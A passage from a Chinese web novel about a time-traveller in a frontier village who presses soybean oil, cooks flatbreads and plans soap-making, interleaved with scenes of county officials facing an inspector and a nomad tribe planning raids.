紧接着他又夹起了一片黄金白玉豆腐,因为刚出锅的原因,一口咬下去还能听到一声脆响,外面酥脆里面却很是嫩滑,豆香味瞬间在口中扩散开。
“这.....”
周之栋虽是官职不大,但他作为郡守大人的亲信,没少跟着郡守大人出席重要场合,什么肉食美酒都品尝过。
眼下这一片小小的黄金白玉豆腐,就让他感觉到惊叹,能由衷地说上一句好吃!
再看向对面的林平,碗里的面条都被他吃了一半,平日里话很多的他,今日却是一句话也没有,只顾着闷
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头吃。
周之栋的视线略过两个包子,看向面前的一大碗面条,他学着林平的模样,夹了些吹了两下送进嘴里,脸上的表情瞬间变了,惊讶的模样比吃那黄金白玉豆腐时还要夸张。
“这......”
一口面条下去食指大动,这一路舟车劳顿林平和他都没能好好吃一顿饭,眼下的食欲被完全打开了。
林平一口气将碗里的面条全部吃光,又端起碗把碗里汤也全部喝下,他见那些客人都是如此。
面汤下肚,顿时感觉身体里有一股热流扩散,一路赶车的凉意全部被暖意所取代,肚子也是前所未有的踏实舒服。
“啊......这面条,也太好吃了吧!我还从来没吃过这么好吃的东西!”
“一个字!绝!”
林平连声惊叹,他对面的周之栋一口接一口地吃面,根本无法理会他。
林平夹了豆芽,又尝了黄金白玉豆腐,觉得这些没见过的东西,每个都好吃得很。
最后他的视线落在包子上,刚才听路过的食客说的不是面条,而是这包子,林平拿起来咬了一大口,要不是这包子已经放了有一会,他这一口下去要被烫得不清。
“嗯???”
林平用力地瞪着眼,低头就看到这包子里竟然还内有乾坤,藏着肉,难怪要叫肉包子。
比他拳头还大的肉包子,只用了四口就被他全部吞下,还觉得有些意犹未尽。
“伙计!伙计!”林平对着丁二招手。
“唉.....来了客官,有什么吩咐?”给马刚喂完水的丁二快速走来。
“再给我来四个包子!”
丁二连忙赔笑:“哎呦,不好意思啊客官,今日的包子已经卖光了,要想吃的话,您只能等明日再来了。”
一听包子没了,林鹏下意识看下盘子里剩余的那个,刚要伸手过去就被周之栋用筷子打开。
将筷子放下,周之栋也把碗里的面条全部喝光,肚子里暖乎乎的感觉让他觉得甚是舒服。
拿过包子周之栋将其掰开,伸手递给了林平的一半。
林平欣喜地接过:“多谢....大.....家主!”
周之栋咬了一小口包子细细品味,这包子给他的惊艳程度竟是丝毫不比面条差,也难怪林平会如此失态。
桌上所有盘子和碗碟里的吃食,被二人全部清空。
林平喝了碗粟米酒一脸的满足,忍不住又赞叹道:
“哎呀呀....没想到啊,这苦寒之地最北边小县城里,竟是藏着如此美味,好吃,真是好吃呀!”
周之栋也点头:“嗯....这新奇的吃食确实好吃,若是能带回郡城,郡守大人也一定会喜欢。”
吃饱喝足,虽是吃得开心但在结账之时,这价格也是真的肉痛。
都吏虽是有巡查各县城的权利,不论去到哪个县城县令都要礼让三分不敢怠慢,但实际官职却不大也没有什么实权,俸禄不如一县的县令,只是比县丞略高一些。
“大.....家主,我们以后天天来这吃吧!”走出酒肆林平意犹未尽地说道。
周之栋眼角抽搐苦笑道:“在郡城,咱们去酒肆,酒是最贵的,在这里,酒是最便宜的”
林平挠了挠下巴,眼珠一转说道:“也不非要我们花钱啊?您来巡查,本地县令大人不应该略尽地主之谊吗?”
周之栋听闻瞪了林平一眼,回到马车内才开口:
“查官员收**赂**结,那是我的职责所在.......”
林平一想也似乎是这个理,大人总不能把自己给查进去吧。尴尬地笑了笑:“我们现在去哪?”
“找一间客舍先住一晚,明日再去县衙。”
“好嘞!大人坐好!”
“驾!”
“........”
大荒村
李逸家
准备了三日,李逸终于完成了他所能想到用来压榨豆油的所有工具。
眼看着他又制造出新奇的工具,何铁牛他们便是知道,这又要弄什么新奇的东西了.......
第七十六章:手搓榨油机
“李三兄弟,你弄这些东西是要用来干啥的?我咋越看越不明白。”何铁牛指着李逸这几天造出的新奇玩意儿问道。
一开始制作时何铁牛看不出李逸要做什么,可等李逸做完之后,何铁牛发现他是更看不懂了,比他第一次看到石磨时还觉得稀奇。
李逸制作的这些,由大到小由简单到复杂的工具,全都是用来榨油的,何铁牛最疑惑的便是李逸手搓出来的榨油机,连他自己都觉得有些不可思议,出处是他脑海中的那本《天工开物》里。
压榨各种植物油,无论是豆油,菜籽油,还是葵花子油,其流程全都是相同的。
前世现代也无法取代这些流程,只能通过工具和机器来提升效率,减少每一个环节所需要时间,或者将两个环节合并到一个,同时将出油率实现最大化。
单论出油率来说,大豆的出油率在20%左右是最低的,只能达到菜籽油和葵花籽油的一半。
可在这个时代,向日葵就和玉米土豆一样,根本不是中原地区的农作物需要外来引进。
菜籽油多是用油菜籽来榨油,李逸在安平县根本没见过油菜也没听过,可能要到南边气候更好的地区才会见到。
受到现在条件的影响,他所能接触到的目前就只有大豆,这是唯一的选择。
见大家都疑惑好奇,李逸故作神秘一笑,揭晓了答案:
“榨油,我造这些东西,是为了榨豆油”
“豆油?”
何铁牛跟张绣娘他们都投过来问询的目光,以为是自己听错了。
在他们的固有印象中,油都是用肥肉熬出来的,从未想过豆子也能出油。
李逸肯定地点头:“就是油!虽是过程复杂了些,但最终确实能够炸出油来。”
在没的选择的情况下,动物油是好东西,但却是有着动物油特有的油腥味,如果有的选择植物油的运用远要比动物油更多,更广泛。
眼下的穷苦百姓们,别说是油了,就是盐都吃不到多少,好几天才吃上一次。
李逸他们这大荒村,是因为有地理优势可以进山打猎物,以猎物身上的脂肪来炼制出动物油。
在李逸穿越之前,整个大荒村的农户家里都没有什么油星,也是在李逸陆续打到猎物后,李逸,何铁牛,张绣娘他们才能日常中吃到油,正常情况下,油是只有大户人家才能食用的奢侈食材。
眼下李逸说能用大豆弄出油来,大家都觉得新奇,还有些期待......
李逸拍了拍手将所有人的目光吸引过去笑着说:“今日,我们所有人都一起制作这豆油,我来给大家分配要干的活,每个人只做一两种,这样干活的速度更快”
流水线式的工作方式,是可以有效地提升工作效率的,若是分开在不同的区域工作,还能有效防止制作方法被人泄露。
豆油的制作被李逸细化为六个步骤,挑豆洗豆,炒豆,石磨研磨豆粉,蒸熟制作豆饼,压榨,精炼提纯。
挑豆洗豆之,做豆腐时也有这个步骤,目的是挑出豆子中的坏豆和发霉的豆子,清洗是为了洗掉尘土和一些杂质。
这一过程提前都已经处理完,眼下大家直接从第二步开始:炒豆!
将院子里的四口大铁锅烧热后,豆子直接倒进锅里,需要控制着灶膛里的火不能太大,用木铲不停地翻炒豆子,这个过程要持续十几二十分钟,目的是通过加热破坏大豆的油脂细胞结构,方便出油,直至将豆子炒得变色,炒出浓郁的豆香味,便可停手,若是大火炒制的火候太过,压榨出的豆油也会有一股糊味。
第三步,用石磨研磨成豆粉,三个石磨一起转动,这期间另外四个人继续炒黄豆,豆粉研磨得越细,出油的效果就越好。
研磨出来的豆粉足够多后,就用上了李逸刚带回来没多久的新物件:石碾子,将都豆粉放在石碾子的磨盘上,通过旋转石碾子反复碾压豆粉,直至将豆粉碾压得如同糍粑一样出现粘性。
第四步,蒸制,通过蒸汽加热使蛋白质变性,这样油脂更易分离,同时还起到杀菌的效果,储藏的时间也会更久。
李逸在木笼屉的底部多放了几层纱布,将已经初步成型的豆粉均匀地扑在上面,盖好盖子,大火烧沸水,利用水蒸气蒸熟,这个过程耗时最长,需要大火蒸上一个多时辰。
第五步,将蒸好的豆粉取出平整地铺在提前制作的模具中,压制成型变成一张豆饼,压实后的豆饼厚度要有在三到五厘米最佳,覆盖上纱布用木棒进一步夯实,力道要适中不能太过用力。
成型的豆饼放入李逸制作的压榨工具中,《天工开物》中的榨油机,设计的很是巧妙,要不然就是有木工手艺,不知道具体的结构也无法制造。
将油饼一张张地竖直排列在木榨槽内,饼间用木板分隔开,在油饼的顶端放上三角形的木楔,木楔的大小完全和木槽上方的预留孔吻合,通过物理加压用木楔去挤压豆饼,将里面油脂挤压出,豆油会顺着木榨槽下方的油槽,低落至放置好大陶翁中。
压榨的这个过程最是耗体力,需要用大石锤,反反复复地锤击压榨的木楔,捶几个小时直至没有豆油继续滴落为止。
就是何铁牛身强力壮也顶不住持续捶打,必须要有人和他轮替,否则身体肯定吃不消。
考虑到这点,李逸利用杠杆原理制作了一个大摆锤,有了这东西,不需要何铁牛用双臂去挥动石锤,只要用些许力量在杠杆的这端按压,将另一端的大石头挑起到最高点,他这边松开手,大石头以自身的重量和下坠的力道撞击木楔子,达到类似挥动石锤锤击的相同效果。
榨油机下的大陶翁上,铺好纱布过滤豆油中明显杂质,剩下的一些过滤不掉的杂质,通过静置让它们全部沉底,上面的豆油便是清亮没有什么杂质的,很接近现代用机器压榨的豆油。
压榨之后的干豆饼,再次压碎后蒸制,可进行二次压榨,这样能够提升三分之一的出油率。
滴答.....滴答.....
看着一滴滴金黄色的液体顺着油槽低落,白雪儿发出兴奋的喊声:
“夫君!出油了,真的出油了!”
“夫君能用豆子弄出油来,你真是太厉害了!”
白雪儿看后更是崇拜李逸,觉得天底下就没有比李逸更厉害的夫君。
秦心月和于巧倩她们也都围了过来,都不清楚这是什么原因,但李逸竟是能想出这个法子,真是出乎所有人预料。
不过若是仔细想来又不会觉得意外,毕竟最近一段时间李逸制造出来的东西有很多,还弄出那么多好吃的新奇吃食。
于巧倩上前,轻轻闻了闻诧异的说道:“这味道,油而不腻,还有豆子的清香”
秦心月点头:“肥肉熬煮的油,带着一股浓烈的肉腥味,这种豆油带着清香,想来很多大户人家的夫人小姐都是喜欢的。”
见大家期待的模样,李逸笑着说:“晚上就用这豆油给大家做好吃的。”
转头他看向陈氏:“嫂子,发点面,不要太多半盆就够了”
“好,我这就弄”
陈氏应声就开始准备,她现在对和面发酵的整套流程都清楚,应该放多少老面心中也有数。
李逸所做的这些新奇吃食,每一样都好吃,听说晚上要用着豆油做好吃的,大家都隐隐有些期待。
嘭嘭嘭......
众人看到了成果更努力地忙活起来,从早忙到晚一共消耗了四百斤黄豆,所榨出来的豆油,几乎装满了一整个陶翁。
“行了,今天就到这大家歇息下,我准备做饭。”
李逸说罢便手脚麻利地忙活起来,别人干了一天活都感觉浑身酸痛疲累,但他却依旧精力充沛,这就是高体力属性的优势。
李逸所要做晚的饭便是饼,不是上次贴在锅边的粗粮贴
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饼,而是香酥诱人的豆油烙饼,色香味俱全,且他还准备了两种做法各有风味。
一种是发面饼,用发酵好的面团揉至光滑,烙出来自带馒头般的松软,两面却裹着一层金黄的脆壳。
另一种是家常大饼层饼,用温水和面,面团比做面条时要稍软些,反复地揉搓至面团出现筋性,用木棒擀成薄薄的面皮后抹上少许豆油,对折之后再继续擀,如此反反复复几次,烙出来的饼便能有层层分明的效果,咬着满嘴酥香。
灶火燃烧,将上面的大铁锅烧得滚烫,李逸端来一碗豆油,金黄清亮的油液顺着碗沿流入锅中,沿着锅壁一直汇聚到锅底,随着铁锅的加热泛起细密的油花。
淳厚的豆香瞬间弥漫整个院子,那香味让人不由自主的吞咽口水,李逸俯身拨了拨灶膛里的柴火,火苗腾地窜高舔舐着锅底,待油温烧热,他便将擀好的整张层饼平铺下锅。
大铁锅是尖底的,这样的结构会受热不均,李逸一直注视着饼的变化,待饼的一面定型,饼的边缘微微翘起不粘锅底时,手腕一转,用木铲挑起顺势将饼翻了个面,让下面金黄的色泽瞬间显露出,为了避免锅底的饼被烤糊,他用木铲抵着饼身,在锅中快速滑动挪位,以这种方式让饼的每一处都能均匀受热,滋滋的声响伴着香气,越飘越远......
白雪儿带着豆子和大丫凑到灶边,三双亮闪闪的眼睛,一眨不眨地盯着锅里。
面团大家早就熟悉了,馒头,包子,面条都是用它做的,却从没见过这样的做法。
白色的面饼在油锅里翻了几个来回,便染上了诱人的焦黄,麦香混着豆油的淳厚,直往鼻子里钻,众人忍不住咽着口水,肚子咕咕的也在这时叫了起来。
不多时.....
第一张家常大饼出锅,金灿灿的一张铺在木盆里,刚好填满整个盆底,边缘还带着微卷的脆边,看着就让人食指大动。
白雪儿和两个孩子的目光就黏在盆上,瞪得圆溜溜的,馋虫彻底被勾了出来。
烙到第三张,李逸在擀面时撒了少许盐,又拌入切碎的葱花,做了一张葱花大饼。
饼一下锅,葱香便混着豆香麦香一起漫了出来,还带着淡淡的咸味,比之前的饼子更添了几分风味。
这香味飘满院子,连冬日的寒气都仿佛被驱散了,忙碌了一整天的众人纷纷看向李逸这边。
三张大饼烙完,接着是巴掌大的发面饼,李逸用木铲蹭了蹭锅底的豆油,让整口锅都泛着油光,再将醒发好的小面剂子,按从外到内的顺序一个个贴在滚烫的锅壁上。
面饼遇热迅速膨胀,像一个个鼓起来的小胖子,与锅壁接触的部分很快烤出硬壳,随后便它们便自行的脱离,沿着锅壁一直滑向锅底。
李逸目不转睛地盯着每一张饼,快速翻面让两面均匀受热,把已经烙得微黄的发面饼挪到锅边,还带着白色的则移到锅底继续烙,这个过程他全身灌注,生怕一时疏忽就让饼子糊了。
一阵忙忙碌碌后,木盆里堆满了他今晚的成果,三张大层饼油光锃亮,二十三张巴掌大的发面饼金黄饱满,鼓鼓得像个小胖子,一个叠一个地堆着,香气扑鼻诱人至极。
李逸回过神,才发现众人都在直勾勾的看着,白雪儿的口水都要流出来了,却始终忍着没有过来拿烙好的饼子。
【厨艺熟练度+50(当前熟练度475)】
每次制作出一样新的食物,厨艺的熟练度都会大幅度提升,平日里做饭也会有少量提升,这在不知不觉间的,厨艺这项生存技能眼看着就能升到下一个等级了。
“别愣着了,大家洗洗手过来拿饼子吃,我这炒个菜很快的”
“好的!夫君!”
白雪而听闻开心的上前,拿起一个发面饼,撕开成三块,她和豆子大丫一起津津有味的地吃起来,嘴里不住的发出嗯嗯的声音......
第七十七章:农田难分,急坏众人
安平县,县衙.....
傍晚县令伍思远将张贤叫了过去,二人说了些什么,一刻钟后张贤从县衙书房离开。
自认为养气功夫还不错的张贤,脸上带着心有余悸的庆幸。
伍思远刚刚和他说,一个时辰之前有辆马车驶入他们这安平县城,车里坐的人是从平阳郡来的都吏。
都吏的职责是什么,张贤很清楚,巡查郡下官员,虽是没有实权官职也不大,但这都吏往往都是由郡守大人直接任命的,见他就如同是见到了郡守大人亲临。
陈林前段时间提高盐价,若是没有及时的调整回来,三倍的盐价!哪怕只卖几天这事情一旦被都吏大人查访到,他这个县丞是有无法摆脱的责任,因为这本身也是他的职责所在,又和那陈林沾亲带故,很容易就会被扣上一个**结,鱼肉百姓的罪名,他这身子单薄可是禁不住。
都吏大人既是出来巡查,回去的时候总是要向郡守大人反应些什么,如此才好交差。
所以现在想起,张贤是一阵阵的后怕,差一点他的官职就不保不住了。
可在庆幸之余,他又开始犯愁了,一路愁眉不展......
都吏大人的这次巡查,主要的目的应是要看各县城给农户分地之事做得如何,是否能够达到预期。
若是不能就要加紧解决,县城要让郡守满意,郡守才能上报后让州牧满意,最后当今陛下才能满意。
若是陛下不能满意,便是要层层问责,到最后遭殃的必定是一县的县令和县丞,渎职之罪,难辞其咎。
不用看其它县的名册张贤也清楚,他们安平县必然是最差的那个!
只是,他们都已经做到私自颁布减免税粮这种程度,也都将消息传递到各乡里,但来前来分地的农户就是不见多,这也是让县衙无可奈何,总不能是将农户都抓来强行给他们分地。
明明已经知道了都吏进城,他们还要装出是毫不知情。
不过听闻都吏大人直接去了王记,张贤才稍稍放松了些,王记最近新出的几样吃食虽是价格略高了些,但那些吃食的味道都是值得夸赞的。
无论是那白玉豆腐,还是面条,亦或者是最近的肉包子,每一种吃完都会让人意犹未尽,让人忍不住下次还想去吃。
如此美味,定是能给都吏大人留下一个不错的印象......
正午刚过.....
一辆马车停在县衙门口,在林平的搀扶下,周之栋从马车里下来,已经换下了便服穿着加厚的官服,经过一夜的休息,周之栋的气色看着很不错,尤其是精气神,眉宇间有着一股难得的静气还带着一丝威严。
林平上前,找到县衙门口当值的衙役,衙役听闻后快步跑到里面禀报此事。
不多时,县令伍思远和县丞张贤便是快步走出。
“县令伍思远”
“县丞张贤”
“拜见都吏大人!”
二人面色恭敬的行大礼,周之栋负手而立,神色淡然的欣然受之,既是代表郡守大人巡查下官,他便如同是郡守大人亲临,对他的恭敬和礼数,便是对郡守大人的。
“起来吧”
“外面天寒,还请都吏大人移步书房。”
伍思远做了请的姿势,周之栋微微颔首,
他和张贤在前面带路,一直将周之栋引入县衙的书房内,恭敬地让其坐上首座,伍思远和张贤则是恭敬地侍立左右。
没多久,腰挂佩刀的赵川也赶了过来。
“县尉赵川拜见都吏大人,下官正在操练手下兵卒,故而来迟,还请都吏大人见谅”
伍思远抬了抬手,放下手中茶盏平淡的脸上终于露出了些笑意:
“赵县尉,你前些日成功剿灭那伙劫税粮的恶匪,我已知晓此事,你做得不错,既挽回了朝廷的颜面,也护佑了一方百姓,我回郡城会如实向郡守大人禀报的。”
赵川抱拳:“谢大人,这乃下官职责所在,在其职谋其事。”
周之栋满意点头,没有说什么场面话,直接开展工作,先是询问了些每个县城都要询问的事宜,然后就到了他最关心的问题。
“张贤,这安平县农户分地的进展如何啊?”
“呃.......”
张贤无言以对,只能讪笑着拿来名册给周之栋过目,一看他这心虚的反应,周之栋就大概猜出了情况,不由地皱起眉。
然而,当他看完名册和最后统计出来的已分田地的亩数后,整个人的脸色一片铁青。
这已经不能用差强人意来形容了,只有临县所分田地的一半,而临县那边周之栋都还觉得有些牵强的。
“嘶......”
周之栋将名册放下,先看向张贤随后有看向伍思远。
“你二人.......这是做好被罢官处罚的准备了?想要做那儆猴的鸡?”
见此情形,张贤和伍思远连忙跪下,诚惶诚恐地说道:
“都吏大人息怒!”
张贤哀叹着解释道:“大人啊,我们这安平县有些特殊,地处边陲,虽是地广但人口却不多,你在看看我们统计的人口数量吧,虽说不是准确数字,但也相差不了太多。”
周之栋听闻拿起另外一个名册,看过后神色稍缓:
“这安平县的人口,怎会如此之少啊?只有临县的四成不到!”
张贤连忙开口:
“回大人,我们安平县和那鲜卑蛮夷,只隔了一座大鲜卑山,前些年仗打得最凶时,一年征三次兵,县下所属的村落有很多都成了寡妇村,看不到一个成年男丁”
“另外....那些蛮子也多次过境,又抢夺了不少女人回去,男人太少无法生育,故而人口锐减”
“下官有心报销朝廷,为陛下分忧,只恨自己无能无力啊........”
伍思远瞥见周之栋面色缓和,也跟着开口:
“禀大人,实不相瞒,前些时日我已经自作主张地拟了布告,凡是来县衙分地的农户都可以减免税赋,分十亩地以上的农户我更是免他们三年赋税,可即使如此,依旧不见有多少农户前来分地,县衙大牢里,现在还有几百罪女无人来领。”
许久之后,周之栋长长地呼出一口气,脸上也多有无奈。
都说巧妇难为无米之炊,安平县的处境便是如此,换谁来怕是都一个结果。
可他能体谅,州牧大人和当今陛下也未必会看这么多。
“你二人起来吧.....”
沉吟了片刻周之栋说道:
“我会在你们安平县停留一些时日,且看如何解决此事吧”
“这不仅是给郡守大人一个交代,也是要给陛下一个交代。”
“谢大人!”
伍思远和张贤相继站起身,心中都是暗暗的松了一口气。
有都吏大人在,能够解决眼下的问题最好,若是几人尽心尽力去做也是无法达到上面的要求,他多少也能帮着说些话。
不知不觉间天色渐晚.....
伍思远这边已经派人去了王记酒肆,让他们做最好的吃食送过来。
大荒村.....
李逸家......
用豆油烙得饼很成功,无论是家常大饼,还是葱花饼和发面饼,都各有各的独特味道,不管是哪种,都要比那馒头的味道更丰富更可口!
“夫君,这个饼子可是比那馒头好吃呀,雪儿喜欢”白雪儿赞叹。
“三叔.....小婶婶的说得对,饼子真好吃,豆子也喜欢!”豆子跟着点头。
“大丫也喜欢”
大丫微红着脸,表现得有些羞怯,见她现在这模样又能如何想到当日她是用自己瘦小身体,将豆子和张绣娘护在身后。
不仅是她们三个,其他人也都对这饼子是赞不绝口,另外也都发现了这豆油的好处,不仅没有什么腥味儿,反而有着一种豆子的清香。
李逸看向白雪儿,笑着问道:
“雪儿,你说,如果夫君将包子压成饼在锅里烙,那会怎样?”
白雪儿眉头紧皱,一番思索后兴奋地回答:
“那不就变成肉饼了!定是比那包子更好吃啊!”
“夫君,下次我要吃肉饼!”
“三叔,豆子和姐姐,也要吃肉饼!”
李逸揉了揉豆子的头笑道:“好说,明天就给你们烙肉
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饼吃,把你们都香迷糊了,然后卖到县城去....”
众人听闻脸上都露出笑意,吃完了天也黑了,众人相继离去。
李逸上次买回的几卷好布,于巧倩知道自己针线活不行,所以一直不敢用,李逸现在终于得空,前几日他就给白雪儿丈量过身子,布料都裁剪完了就差着手缝制。
制作衣服是针线大活,要一针一线一个针脚接一个针脚地去缝,李逸本就有现代人的审美,别说是现代的那些衣服,脑海中还有很多从影视剧中看到各种古代的装扮,再加上裁缝技能附带的各种知识,对如何制作一套好看的衣服,他在这个时代说是第二,没人能说是第一。
女式的衣服虽说制作成裙式的很好看,很有气质,但并李逸觉得并不实用,真遇到个事情,跑都跑不快。
另外,于巧倩和陈玉竹她们也都是不那种有小姐脾气的人,会想着做些活为这个家出一份力,所以给她们制作衣服要兼具美观和实用方便。
而像习武的秦心月,她所穿的衣服更应是考虑到这点,这样她在练武时才不会有束缚感和不便。
农户的衣服式样本就是为了方便,上身是短上衣,下身是无裆的宽松裤子,用破布条在腿上缠几圈,李逸在这个基础上,融合多种元素,让衣服既穿着舒服又方便,还不会让人感觉太突兀另类。
“倩儿,来夫君身边坐坐,我们一起给雪儿缝制衣服。”
李逸笑着对于巧倩勾了勾手,于巧倩身形瘦弱李逸也不胖,二人坐新打造的大椅子也能勉强坐下。
于巧倩以有些羞怯的姿势半依偎在李逸怀里,二人一起做针线活的画面,白雪儿看着就忍不住笑,和秦心月,陈玉竹并排坐在炕边,一边泡脚一边看着二人。
泡脚这是李逸提出的,说每天晚上用温水泡一泡,不仅解乏还对身体好。
油灯吹熄,已是深夜.....
白雪儿近几日来了月事,高高挂起免战牌,说让于巧倩侍寝时连她的那份一起,如此可是苦了于巧倩,要承受夫君双倍的疼爱。
进入贤者时间,李逸搂着于巧倩闭目沉思着。
他想要制作肥皂就需要用到碱,依靠碱才能实现皂化反应,那么眼下需要解决的问题,那便是要制作出:纯碱
而既然要做,就一步到位做到比较干净能使用的程度,有了食用碱,制作面食的口感会更好,甚至还能制作更为奢侈的油条。
李逸开始思考,大荒村这周边有什么含碱高的植物,思索了一圈他想到是外面成片荒地中最常见的,扫帚草。
这种草的含碱率在诸多含碱的植被中,是能排进前五的。
以这随处可见的扫帚草为主材料,加入松树林下寻找的干松针,松针的含碱性虽然不高,但适量加入有强化碱性的效果,另外松针含天然抗菌成分,用松针榨的精油更是非常好的护肤品,甚至能效治疗多种皮肤病。
这样所制造肥皂,去污又杀菌还能护肤,堪称完美!
现在有两种油可以选择,豆油和猪肥膘熬制的猪油。
全用猪油制作的肥皂,去污能力极强皂化反应快,制作的肥皂块硬度高方便储存,缺点是有无法遮掩的腥味,且皂碱太高接触皮肤会过干,有紧绷感,不适合每天使用。
而全用豆油制作的肥皂,皂化反应慢,制作的肥皂硬度很差,泡水后容易散掉,去污能力也相对较差,但它的优点是没有什么异味,柔和亲肤无刺激适用于全身各个部位。
想要制造出更适合的肥皂,就要将动物油和植物油按比例混合,想要去污能力强,就动物油多放一些,例子在7比3。
想要日常每天洗漱使用,就要植物油占比高一些,比例控制在5比5或者是6比4,豆油比例不能太高,防止制作出来肥皂不成型不耐用。
整个制作工序李逸非常熟悉,当时那博主的所有的视频,就属肥皂和酿酒他看得最多。
确认了之后要做的事情,李逸感觉心里踏实多了,这种什么东西都亲手制作的感觉,让他很有成就感,能清晰地感受到自己正在改变这个古代.....
第七十八章:秃发部落
塞外草原的某处,一望无际的大草原被皑皑白雪覆盖,入眼之处,皆是白茫茫的一片,站在这里就仿佛置身于雪海之中,景色尤为壮观。
就在这广阔无垠的白雪中,上百个游牧民族特有的毡房簇拥在一起,旁边有用木栏围起来的牛羊:这里是鲜卑族秃发部落。
鲜卑族游牧民族遍布这片辽阔草原的各处,其中有五个最大的部落。
拓跋部落,宇文部落,慕容部落,乞伏部落,秃发部落。
两个月前,拓跋部落袭击了秃发部落,抢走了他们部落一半的牛羊和三分之一的族人,这让秃发部落的实力被大大削弱,一下成为了五个部落中最弱的那个。
拓跋部落霸占了应属于秃发部落的盐池,还将秃发部落逼到这草场的边缘,从这里能够看到那如同一条长蛇的大鲜卑山山脉,而在大鲜卑山的另一边,便是中原的土壤。
在草原上,盐池和水源甚至要比肥美草场更重要,长期不吃盐,部落的男人们就会没有力气,没有力气就办法打仗,而水更是生命之源,人畜都离不开它。
哭声打破了这个清晨的宁静,一个男人跌跌撞撞地跑向中心那个最大的毡房,这里居住着部落的首领,游牧民族选择首领的方式很简单,通过决斗分出胜负,所以首领便是部落最强的勇士。
“乌孤首领,萨任难产**,她腹中的男婴也没能活下来。”
胡子编成小辫的乌孤首领心痛地闭上双眼:“那个男婴,未来可以成为部落的勇士的,就像雄鹰一样,腾格里,请你庇佑我的族人吧....”
部落的人口锐减还被拓跋部落抢走不少人,乌孤更是看中他的族人们,一下损失两个让他心痛不已。
“首领,我们现在很缺女人,没有女人我们就没有新生的孩子,就没有更多部落的勇士”
“另外,我们的牛羊少了一半食物已经不充足,有几个族人生病,大雪还盖住了草场我们很难寻找食物。”
男人眉头紧皱,眼里满是对部落即将遇到的困难的担忧。
乌孤首领深吸一口气,盯着男人问道:
“狼跋,你是我们部落的萨满,是最聪明的人,请你告诉我腾格里的指示,我们现在应该怎么办。”
狼跋低着头沉思,片刻后说道:
“乌孤首领,按照腾格里的指示,我们的部落想要壮大,就要很多女人为我们部落的勇士生孩子,未来我们秃发部落会成为草原上最强大的部落,比拓跋部落还要强大!”
乌孤首领摸索着手臂上的伤疤,那是战斗时被拓跋部落的首领,用箭射伤的。
他的目光变得如鹰隼般锐利:“我乌孤对着腾格里起誓,一定要向拓跋部落复仇,如果我违背誓言,就让腾格里惩罚我!”
狼跋态度变得恭敬,语气更加虔诚:“首领是草原上最强大的勇士,我日夜向腾格里祈福,让他庇佑首领庇佑整个秃发部落。”
稍作停顿,狼跋继续说道:“我们现在距离圣山很近,山的那边就有中原人的部落,我们应该派些勇士过去,抢夺中原人的女人还有他们的粮食,这样我们就能挨过这个冬天,还能壮大我们的部落,等我们有足够多的勇士,必然能战胜拓跋部落!”
乌孤低头沉思着,在他们的部落里本就有几个中原女人,前几年中原那边的部落打得最凶时,有不少中原人逃难过来,部落的工匠也是中原人。
深吸一口气,乌孤重重点头:
“好,斥候先去探查一下,让他们带足水和食物,那座大山可不是一天能穿过的”
“.......”
拓跋赞同地点头。
正午的阳光洒在白雪上,亮得发光的白雪晃得人睁不开双眼,有三匹马跑出秃发部落的领地,马蹄踏着积雪快速离去,他们的目标正是大鲜卑山的方向。
没多久,一个中年女人神色慌张的跑进了首领的毡房。
“乌孤!乌孤!”
见到着女人乌孤连忙站起身走过来问道:“阿娘,你这么着急过来,是发生什么事了吗?”
中年女人上前扶着乌孤的手臂急切地说道:
“是乌兰!我听他们说乌兰跟着那两个斥候一起去了!你快派人把她拉回来!”
乌孤听后虽然惊讶,但却看不到任何焦急和慌张,反而开口安慰:
“阿娘,乌兰已经成年了,虽然是女儿身,但她很勇敢又聪明,骑射比很多男人都强,她也是我们部落的勇士,你不需要担心她!”
中年女人神色稍缓:“可他们说中原那边很危险,那些大的部落都在打仗,圣山里也有很多猛兽啊。”
乌孤听后一笑:“没事的,阿娘,他们只是过去打探情况,不会和中原人起冲突的,若是在圣山里遇到猛兽,刚打回来吃肉。”
说着乌孤摸向脖颈的兽骨项链:“这狼牙还是乌兰送给我的,我相信我的妹妹!她是我们秃发部落最勇敢的女人!”
见此,中年女人也只能不再多说什么,只是眉头还是紧紧皱着,在心里担忧着.....
大荒村.....
“雪儿,玉竹,你们两个跟夫君出去干些活啊?”
李逸一大清早就准备出门,榨油的一套流程大家昨天都很熟悉了,另外蒸豆饼时间很长,等豆饼蒸熟他也该回来了。
“好啊好啊!夫君等等!”
“哎呀....雪儿你等等我呀,我还没戴帽子呢”
白雪儿就和清晨喳喳叫的麻雀一样欢快,陈玉竹追在她身后,一直到院门口都没追上。
“走吧,两位爱妃!”
李逸一左一右地伸出手,对着二女笑道。
陈玉竹听闻惊恐的连忙用小手去捂李逸的嘴:“夫君,你可不能乱说话啊,这是对皇帝陛下的大不敬。”
李逸也反应过来,回头看向院子笑着说:“我觉着,大家应该不会去县衙告我吧,我若**了头,那可就没有人带你们赚钱啦”
何铁牛一手掐着腰,一手扶着石磨,双眼上翻看着天空:
“哎呀,今日的天儿看起来不错,没风,挺好的......挺好”
刘氏也精明地跟着应和:“是呢,不刮风的天气都是好天气啊。”
其他人也都笑而不语,一副我什么都没听见,你们真奇怪的表情。
李逸得意地扬起下巴,背着箩筐一手牵着一个走出院子,虽说都是他的媳妇,但当着这么多外人的面就这么牵着手,也是有些大胆的行为。
这个时代的思想是非常封建落后的,不用说别的,夏日里让女人穿着短裤和吊带出去走一圈,准能被唾沫淹死,甚至还要被县衙抓走,窑子里的窑姐都不敢这样。
白雪儿已经习惯了自家夫君的大胆,也喜欢这样,觉着是夫君宠她才会如此的。
陈玉竹表现得有些羞怯,但在她的心里也是开心着,欢喜着,很喜欢这种感觉。
见李逸没有向着山的方向走而是向着村外,白雪儿有些疑惑地问:
“夫君,我们这是去哪?不是去山里吗?”
李逸摇头:“当然不是,我需要割些扫帚草。”
白雪儿脸上的疑惑更重:“割草?要喂骡子吗?”陈玉竹也同样疑惑。
“夫君有大用,我能把这些草全都变成宝!”李逸笑着说。
听李逸这么说,二人也表露出有所期待的表情,至今为止,李逸做的这些东西还没有让他们失望过,新榨的豆油是真的香,一点腥味都没有。
像是白雪儿和于巧倩,她们都是在短时间内经历过大起大落的人,在狱中过的那日子每天都是在煎熬,又冷,又饿,不时还要被狱卒打骂,被同在牢里的其它女人欺负。
再有教养的大家闺秀,进入牢里也要和乞丐和疯子一样。
因为一句老话,说屁股大的女人能生养,她们这些瘦弱的女人就像挑选牲口一样,被一个个破衣烂衫的农户挑挑拣拣留到了最后,那时真是心灰意冷看不到任何希望。
这才一个多
